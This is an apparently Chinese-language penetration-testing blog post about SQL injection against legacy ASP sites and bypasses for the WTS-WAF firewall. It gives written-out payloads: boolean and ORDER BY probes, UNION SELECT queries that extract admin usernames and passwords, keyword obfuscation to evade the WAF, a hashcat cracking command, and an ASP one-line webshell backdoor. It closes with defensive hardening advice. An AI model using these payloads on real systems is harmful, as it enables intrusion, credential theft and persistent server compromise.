实战复盘:针对ASP老旧站点的SQL注入手法与WTS-WAF绕过技巧

张开发
2026/4/6 23:00:26 15 分钟阅读

分享文章

实战复盘:针对ASP老旧站点的SQL注入手法与WTS-WAF绕过技巧
实战剖析ASP传统架构下的SQL注入攻防与WAF绕过艺术在网络安全领域ASPAccess/SQL Server这套经典组合至今仍广泛存在于教育、医疗等传统行业系统中。这些技术活化石往往隐藏着令人惊讶的安全隐患成为渗透测试人员需要掌握的重要实战场景。不同于现代框架的自动化防护机制这类老旧系统对原始SQL注入攻击的防御几乎形同虚设却又因为部署了各类WAF设备而形成了独特的攻防对抗局面。1. ASP传统架构的SQL注入温床ASPActive Server Pages作为微软上世纪90年代推出的服务器端脚本环境其与Access或早期SQL Server数据库的搭配堪称经典。这种架构在设计之初就缺乏对SQL注入的基本防护意识形成了几个典型漏洞模式动态拼接SQLASP中常见的conn.execute(SELECT * FROM products WHERE id request(id))写法直接将用户输入拼入SQL语句弱类型系统VBScript的松散类型检查使得id95 union select...这类攻击字符串可以轻易通过参数传递错误信息泄露默认配置下详细的ODBC错误信息会直接返回给客户端为攻击者提供宝贵线索提示在测试ASP站点时观察/news.asp?id95这类URL参数传递方式往往能快速锁定注入点手工测试中最经典的验证方式莫过于and 11与and 12的逻辑测试http://example.com/news.asp?id95and11 -- 应返回正常页面 http://example.com/news.asp?id95and12 -- 应返回异常或空白页面当这两个测试产生明显差异时基本可以确认存在SQL注入漏洞。这种上世纪就存在的检测手法至今仍然有效恰恰说明了传统架构安全更新的滞后性。2. 手工注入的核心技术解析在确认注入点后传统ASP站点的渗透通常遵循信息收集→字段探测→数据提取的标准流程。这个过程中有几个关键技术环节需要特别注意2.1 字段数探测的艺术ORDER BY子句是判断查询返回字段数的经典方法但在实战中需要注意这些细节从较大数字开始二分查找如20可以加快定位速度某些WAF会拦截包含数字的ORDER BY语句可尝试用ORDER BY (SELECT 1)替代ORDER BY 1使用十六进制表示ORDER BY 0x31Access数据库对ORDER BY后的列名有特殊要求可能需要配合表名http://example.com/news.asp?id95orderby19-- http://example.com/news.asp?id95orderby20-- -- 返回500错误说明字段数为192.2 UNION注入的实战技巧当确定字段数后UNION SELECT就成为获取数据的利器。针对不同数据库类型需要采用不同策略Access数据库必须知道确切的表名和列名如常见的admin、users等不支持直接查询information_schema字段类型必须匹配否则会报错http://example.com/news.asp?id95unionselect1,2,username,4,5,6,7,8,9,userpass,11...19fromadminSQL Server数据库可以利用系统视图获取表结构支持多语句执行需特定条件有更丰富的内置函数可供利用下表对比了两种数据库在注入利用时的关键差异特性AccessSQL Server系统表无标准系统表information_schema多语句执行不支持可能支持错误信息价值较低非常丰富常见默认管理员表adminsysusers注释符号----或/* */3. WTS-WAF的绕过实战现代防护体系中WAFWeb应用防火墙成为阻挡SQL注入的第一道防线。以国内常见的WTS-WAF为例其防护机制和绕过手法值得深入研究。3.1 WAF检测原理剖析通过分析拦截日志和公开资料WTS-WAF主要依赖以下机制关键词黑名单拦截包含union select、order by等敏感词的请求语法分析检测异常SQL语法结构频率限制对可疑请求进行速率限制会话跟踪关联多个请求的异常行为3.2 有效绕过手法汇编针对上述防护机制实战中验证有效的绕过技术包括空白符变异用替代空格unionselect使用注释符分割uni/**/on sel/**/ect混用多种空白符union%0aselect大小写与编码技巧非常规大小写组合UnIoN SeLeCt十六进制编码关键字0x756E696F6Eunion的hexURL编码特殊字符%27替代单引号等价替换法用||替代OR在某些数据库中使用数学表达式and 11→and 2-11函数包裹version()→versionhttp://example.com/news.asp?id95uniOnselEct1,2,3%20froM%20admin注意不同版本的WAF规则存在差异实际测试中需要准备多种变形方案轮流尝试4. 从漏洞挖掘到实战渗透在教育行业安全测试如EDUSRC中ASP站点的SQL注入往往只是入口点。完整的攻击链还需要后续的提权、横向移动等操作。以下是几个关键阶段的注意事项4.1 凭证获取与解密获取管理员账户后通常面临密码解密问题识别哈希类型Access常用简单MD5SQL Server可能使用加盐哈希解密策略在线解密平台适用于常见弱密码本地Hashcat爆破社工库查询hashcat -m 0 -a 3 hashes.txt ?l?l?l?l?l?l # 尝试6位小写字母组合4.2 后台功能利用进入后台后重点寻找这些高危功能点文件上传接口可能绕过扩展名检查数据库备份/恢复功能可能写入Webshell系统命令执行接口如服务器信息查看模板编辑功能注入恶意代码4.3 权限维持技术在ASP环境中常用的后门方式包括数据库存储型在某个表中插入%execute(request(cmd))%通过正常页面加载该内容文件写入型利用文件上传或备份恢复功能写入ASP一句话木马组件注册利用WScript.Shell等组件创建计划任务或服务5. 防御视角的加固建议站在防御者角度针对这类传统系统应当采取多层次防护策略代码层使用参数化查询替代字符串拼接实施严格的输入验证禁用详细错误信息 正确的参数化查询示例 Set cmd Server.CreateObject(ADODB.Command) cmd.ActiveConnection conn cmd.CommandText SELECT * FROM products WHERE id ? cmd.Parameters.Append cmd.CreateParameter(id, adInteger, adParamInput, , request(id)) Set rs cmd.Execute架构层部署WAF并定期更新规则网络隔离关键数据库实施最小权限原则管理层面定期安全审计敏感数据加密存储建立应急响应流程在真实渗透测试项目中ASP站点的测试往往能发现最基础也最危险的安全问题。这些看似古老的技术栈正因为其逐渐被忽视反而成为安全防护体系中最薄弱的环节。

更多文章